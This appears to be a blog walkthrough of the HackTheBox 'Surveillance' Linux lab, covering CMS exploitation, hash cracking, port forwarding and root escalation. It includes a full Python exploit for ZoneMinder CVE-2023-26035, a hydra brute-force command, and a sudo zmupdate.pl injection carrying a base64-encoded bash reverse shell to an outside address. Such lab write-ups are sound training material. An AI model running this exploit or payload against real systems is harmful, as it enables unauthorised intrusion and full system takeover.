You are currently viewing HTB – Surveillance – Linux (Medium)

HTB – Surveillance – Linux (Medium)

  • Post category:Linux / Medium
  • Reading time:17 mins read

This Linux machine is going to involve some CVE exploitation, port forwarding and find a vulnerability from a bunch of Perl scripts.

Initial scan

Nmap scan report for 10.10.11.245
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

During the initial nmap scan we found two open ports :

  • Port 22 SSH using OpenSSH 8.9p1
  • Port 80 HTTP using a Nginx server v1.18.0

We also found :

  • A domain name : http://surveillance.htb/
  • Target OS running Linux, probably Ubuntu

Initial foothold

We can start by adding the domain to our /etc/hosts file and explore the website we found on port 80.

echo -e "10.10.11.245\tsurveillance.htb" | sudo tee -a /etc/hosts

The website is powered by Craft CMS version 4.4.14, which means we can look for some exploits.

We discover that this version contains a critical vulnerability leading to RCE, we can have a look at the CVE-2023-41892. Now is time to find a working PoC, we are going to try with this one on GitHub.

We have our first shell on the machine, let’s upgrade it to a fully functional one and start our enumeration on the box.

Enumeration and lateral movement

From www-data

We have an access as a low privilege user www-data which is the user running the website on the host, we can start by having a look at the /etc/passwd file to enumerate the users.

[...]
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
mysql:x:114:122:MySQL Server,,,:/nonexistent:/bin/false
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
[...]

Our exploration reveals other users named matthew and zoneminder as well as mysql, what we want to do from here is to look for some website configuration containing users and passwords. During the search we found a configuration file in html/craft/.env

Good, we know that a SQL service is running on port 3306, we also got a user and a password, we can confirm that the port 3306 is used by running the following command :

ss -tulpn

Once we did it, we will connect to the local database and start to explore it. We found the craftdb database and display the content of one of the table which contains the users :

We discover a hashed password for the user matthew, which seems to be very interesting, we are going to try to crack it (spoiler : this is not going to work). While we let it run in the background we continue our exploration, we may find more data related to a SQL dump.

We also discover an archive containing a MariaDB SQL dump called surveillance--2023-10-17-202801--v4.4.14.sql.zip, inside we can see a new hash.

It is a hashed password for the user matthew but this is a SHA-256 hash, we can try again to crack it since our previous attempt did not work out for us.

This time we get a password, we can use it for lateral movement and SSH into the box using Matthew credentials.

From Matthew

We are now connected as Matthew, he does not have special privilege either, but we can start our enumeration and keep in mind that we also look for information about the user zoneminder while doing so.

If we have a look at the listening ports on the machine we can see that the port 8080 is being used, it was not a result from our fist nmap scan. A quick local request to it confirm that there is a web service running here, we could also use the ss command.

So let’s do some port forwarding in order to gain access to this service from our local machine. To achieve this, we are going to use socat :

socat -ddd TCP-LISTEN:8080,fork TCP:127.0.0.1:8181

Now we can access the web service from our local machine and we discover a website, which seems to be using ZoneMinder.

While looking around, I found inside the official documentation the default username and password, we should probably try this first. We also previously gathered some others users and credentials, we can create a short list and start a brute force attack using hydra.

hydra -I -C bruteforce.lst surveillance.htb http-post-form "/?view=login:username=^USER^&password=^PASS^:F=Invalid username or password."

We did, but nothing worked, we are going to need to find something else, we need more information so we can look around about zoneminder on the server.

find / -type d -name 'zoneminder' 2>/dev/null
/var/cache/zoneminder
/usr/lib/zoneminder
/usr/share/zoneminder
/usr/share/bug/zoneminder
/usr/share/doc/zoneminder
/home/zoneminder

We met a home directory for the user zoneminder but we cannot access it, then we gather some information about the version which is currently running on the server :

matthew@surveillance:~$ dpkg -s zoneminder | grep Version
Version: 1.36.32+dfsg1-1

With the version, we can do some diging to see if there is a vulnerability, we quickly come across the CVE-2023-26035 and the impact description in the project. So what is happening here ? The service has no proper permissions check in place on the snapshot view when a user is calling the create action, furthermore, the parameter monitor_ids is expecting an id. The vulnerability lies in the fact that it is possible to pass an object, trigger shell_exec and get a remote code execution from a simple unauthenticated web request.

Alright, we could probably find a functional PoC, but I am learning Python so, time to write some simple code. The website is also using a CSRF Token, so we will grab that too, what we need to do is pretty straight forward :

  • Make a first request to grab the CSRF Token
  • Call the endpoint with the right parameters and insert our command execution, in this case, a reverse shell
import sys
import requests
import argparse
from bs4 import BeautifulSoup


script_args = argparse.ArgumentParser()
script_args.add_argument("--target", "-t", required=True, help="-c 127.0.0.1")
script_args.add_argument("--command", "-c", required=True, help="curl 127.0.0.1:9001")
args = script_args.parse_args()


def launch_attack(target, command):
    url = target + '/index.php'
    index_page = requests.get(url)
    print(f'Target is : { url }')
    print(f'Command is : { command }')
    print(f'\n[+] Trying to retrieve csrf token')

    if index_page.status_code == 200:
        soup = BeautifulSoup(index_page.text, 'html.parser')
        token_value = soup.find('input', attrs={'name': '__csrf_magic'}).get('value')

        if token_value is not None:
            print(f'[+] Csrf token is : { token_value }')
            data = {
                'view': 'snapshot',
                'action': 'create',
                'monitor_ids[0][Id]': f';{ command }',
                '__csrf_magic': token_value
            }
            response = requests.post(url, data=data, timeout=5)

            if response.status_code == 200:
                print('Should be success')
            else:
                print('Failed')
        else:
            print(f'Could not find the csrf token.')
    else:
        print(f'Could not perform the request on the target.')

    return


if __name__ == '__main__':
    if len(sys.argv) == 1:
        script_args.print_help(sys.stderr)
        sys.exit(1)

    try:
        if args.target is not None and args.command is not None:
            launch_attack(args.target, args.command)
    except requests.Timeout as timeout:
        print(f'Timeout error :\n{ timeout }')
    except Exception as error:
        print(f'An error occurred :\n{ error }')

We just need to set up our netcat listener, run our script and with that we get our shell as the zoneminder user !

Privilege escalation

We just got our shell as zoneminder, this user has some limited sudo privileges, he can launch a bunch of Perl scripts. I have to say that I have never written a Perl line of code so I was not pleased with what I was looking at.

That is a lot of scripts, they accumulate thousands of line of code in a language I do not know. We can guess we will have to use this sudo command in order to elevate our privileges to root. I started looking for insecure paths, the environment variables, tried to create a file in the /usr/bin/ directory so it would be called using sudo privileges, but nothing worked. I guess we are going to have a look at the code then, we saw that the command syntax is :

sudo /usr/bin/zm[a-zA-Z]*.pl *

This means we call every parameters from those scripts, but first I need to know some common injection methods in Perl and found this article which could help narrow down what we are looking for. I started by looking at every parameter in each script which would take user input and use it to call something like system(), execution(), open() or complete a bash command with it.

I though I found one in the script called zmcamtool.pl, but I was not able to make it work, I got the following error message when trying to do some command injection :

Insecure dependency in `` while running with -T switch at /usr/bin/zmcamtool.pl line 366.

It took me a long time, but I finally got what we were looking in another script named zmupdate.pl, the script takes the user input and use it to complete a bash command, we can abuse this.

To perform the injection we are going to be using a bash command substitution using the $() syntax :

“Command substitution allows the output of a command to replace the command itself. […] Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of the command, with any trailing newlines deleted.”

From gnu.org

I first used a PoC to read the flag only accessible to the root user, then I used the same method to get a reverse shell as root by setting up a netcat listener and calling the script using the following parameters :

sudo /usr/bin/zmupdate.pl --version=1 --user='$(echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzkwMDIgMD4mMQ==" | base64 -d | bash)' --pass=*********************

Here we have our shell as root, congratulation !